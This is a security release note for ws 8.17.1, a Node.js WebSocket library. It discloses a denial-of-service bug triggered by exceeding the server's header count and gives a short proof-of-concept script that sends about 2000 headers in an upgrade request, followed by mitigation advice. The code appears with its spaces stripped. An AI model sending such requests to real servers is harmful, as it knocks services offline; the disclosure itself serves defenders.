8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][]threshold could be used to crash a ws server.

consthttp=require('http');constWebSocket=require('ws');constwss=newWebSocket.Server({port:0},function(){constchars="!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');constheaders={};letcount=0;for(leti=0;i<chars.length;i++){if(count===2000)break;for(letj=0;j&lt;chars.length;j++){constkey=chars[i]+chars[j];headers[key]='x';if(++count===2000)break;}}headers.Connection='Upgrade';headers.Upgrade='websocket';headers['Sec-WebSocket-Key']='dGhlIHNhbXBsZSBub25jZQ==';headers['Sec-WebSocket-Version']='13';constrequest=http.request({headers:headers,host:'127.0.0.1',port:wss.address().port});request.end();});

The vulnerability was reported byRyan LaPointe inwebsockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the[--max-http-header-size=size][] and/or the [maxHeaderSize][] options sothat no more headers than theserver.maxHeadersCount limit can be sent.
